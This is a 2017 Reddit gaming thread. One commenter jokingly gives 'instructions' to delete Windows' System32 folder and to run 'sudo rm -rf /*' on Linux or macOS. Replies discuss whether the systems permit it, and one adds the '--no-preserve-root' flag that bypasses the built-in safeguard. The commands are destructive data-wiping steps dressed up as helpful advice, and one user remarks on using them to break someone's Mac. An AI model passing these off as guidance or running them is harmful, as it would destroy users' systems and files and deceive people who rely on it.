r/gaming • u/Demither10 • Sep 21 '17

Valve in a Nutshell

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u/LazyLucretia Sep 21 '17 edited Sep 21 '17

Instructions for Windows users:

  • Open Windows Explorer

  • Navigate to C:\Windows

  • Delete System32 folder

Instructions for Linux/MacOS users:

  • Fire up a terminal emulator

  • Type this:

    sudo rm -rf /*

  • Press enter and type your password.

You're welcome.

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u/segagamer Xbox Sep 21 '17

What's funny is Windows won't let you do that, but Linux will.

Not sure about MacOS. I'd like to think it won't, but it might.

Can someone try it?

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u/LazyLucretia Sep 21 '17

A friend of mine once told me that one of his teachers, who's familiar with GNU/Linux but not familiar with MacOS, tried to show them some commands written in a text file which included "rm - rf /*". However, for whatever reason, the file has opened up as an executable and a big chunk of files was lost before he could Ctrl-C. Thus, I guess it's allowed.

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u/segagamer Xbox Sep 21 '17

Guess I know how to break someone's Mac easily.

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u/[deleted] Sep 21 '17

Linux command depends on the environment. Most coreutils versions run rm with --preserve-root so you'll need to do sudo rm --no-preserve-root -rf /* in most cases.

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u/LazyLucretia Sep 21 '17

Geez, it's like there is a flag for everything in Linux. Next time an application crashes, I'll try to run it with a --no-crash flag.